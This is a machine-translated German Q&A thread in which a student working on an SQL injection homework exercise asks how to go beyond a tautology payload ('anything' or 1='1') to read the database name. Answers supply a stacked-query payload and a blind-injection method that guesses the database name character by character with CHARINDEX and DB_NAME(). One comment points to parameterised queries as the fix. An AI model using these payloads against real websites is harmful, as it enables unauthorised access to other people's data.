2017-12-15 3 views
2

Ich mache eine Übung auf SQL Injection, die Abfrage wird gegeben. Die Daten kommen zwischen "". Das ist also die Abfrage:SQL Injection - MYSQL

select * from contacts where name = '' 

ich es geschafft, die Benutzer in der Tabelle zu sehen, mit diesem:

select * from contacts where name = 'anything' or 1='1' 

Aber meine Frage ist, wie ich es schreiben kann, so dass ich eine neue Abfrage schreiben? Oder sehen Sie sich den Namen der Datenbank an, damit ich andere Tabellen überprüfen kann.

EDIT:

Um Verwirrung zu vermeiden, die Abfrage uns nicht gegeben ist, gibt es ein Textfeld auf einer Webseite, das ist, was wir SQL-Injection zu tun verwenden.

vorstellen, also die Abfrage dies sein:

select * from contacts where name = '' 

Und ich schrieb dies auf das Textfeld, um alle Benutzer zu sehen.

anything' or 1='1 

Ich versuche zu verstehen, wie ich dieses Textfeld verwenden kann, um den Namen der Datenbank zu sehen, oder andere Abfragen ausführen.

Vielen Dank.

+1

Wie sehen Sie die Ergebnisse:

In MySQL wäre es so etwas wie? Führen Sie die Abfrage direkt in SQL aus? – clinomaniac

+0

Ich sehe die Ergebnisse auf einer Webseite. Ursprünglich habe ich keine Ahnung von der Abfrage, aber da dies eine Hausaufgabe ist, wird es uns gezeigt. Es gibt ein Textfeld, wo Sie den Namen einfügen, den ich geschrieben habe (alles 'oder 1 =' 1) in das Textfeld, um alle Benutzer zu sehen. @clinomaniac – TurhanG

+0

In welcher Sprache ist die Seite geschrieben? Unter Verwendung von Parametern nachsehen. Es würde so aussehen, als wähle * aus Kontakten, wo name =? und dann würdest du den Wert übergeben. – clinomaniac

Antwort

0

Also, wenn die Abfrage:

select * from contacts where name = '' 

Sie können versuchen, so etwas wie:

'; select * from anotherTableName' 
0

Wenn Ihre Daten nicht mehrErgebnisMengen zurückgibt, dann können Sie so etwas wie:

In SQL Server

SELECT * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=1 
SELECT * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=2 
SELECT * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=3 
... 

Bis Sie alle richtigen Indizes der Zeichen im Namen erhalten.